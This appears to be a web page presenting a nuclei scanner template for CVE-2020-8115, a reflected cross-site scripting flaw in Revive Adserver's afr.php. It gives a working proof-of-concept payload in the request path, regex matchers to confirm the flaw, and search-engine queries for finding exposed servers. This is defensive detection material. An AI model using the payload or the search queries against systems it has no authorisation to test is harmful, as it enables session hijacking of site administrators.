CVE-2020-8115· revive-adserver / revive adserver· CWE-79
Revive Adserver <=5.0.3 - Cross-Site Scripting
Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
Impact
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
Fix
There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
How to confirm it
Send: GET {{BaseURL}}/www/delivery/afr.php?refresh=10000&")',10000000);alert(1337);setTimeout('alert("
Positive when: matches /(?mi)window\.location\.replace\(".*alert\(1337\)/ AND not contains "window.location.href.indexOf" AND status 200Run it with nuclei: nuclei -id CVE-2020-8115 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-8115
info:
name: Revive Adserver <=5.0.3 - Cross-Site Scripting
author: madrobot,dwisiswant0
severity: medium
description: |
Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
remediation: There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
reference:
- https://hackerone.com/reports/775693
- https://www.revive-adserver.com/security/revive-sa-2020-001/
- https://nvd.nist.gov/vuln/detail/CVE-2020-8115
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/merlinepedra/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-8115
cwe-id: CWE-79
epss-score: 0.06978
epss-percentile: 0.94191
cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: revive-adserver
product: revive_adserver
shodan-query:
- http.title:"revive adserver"
- http.favicon.hash:106844876
fofa-query:
- icon_hash=106844876
- title="revive adserver"
google-query: intitle:"revive adserver"
tags: cve,cve2020,xss,hackerone,revive-adserver,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- (?mi)window\.location\.replace\(".*alert\(1337\)
- type: word
part: body
words:
- window.location.href.indexOf
negative: true
- type: status
status:
- 200References
- https://hackerone.com/reports/775693
- https://www.revive-adserver.com/security/revive-sa-2020-001/
- https://nvd.nist.gov/vuln/detail/CVE-2020-8115
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/merlinepedra/nuclei-templates
Use this check only on systems you are authorised to test. Where the data comes from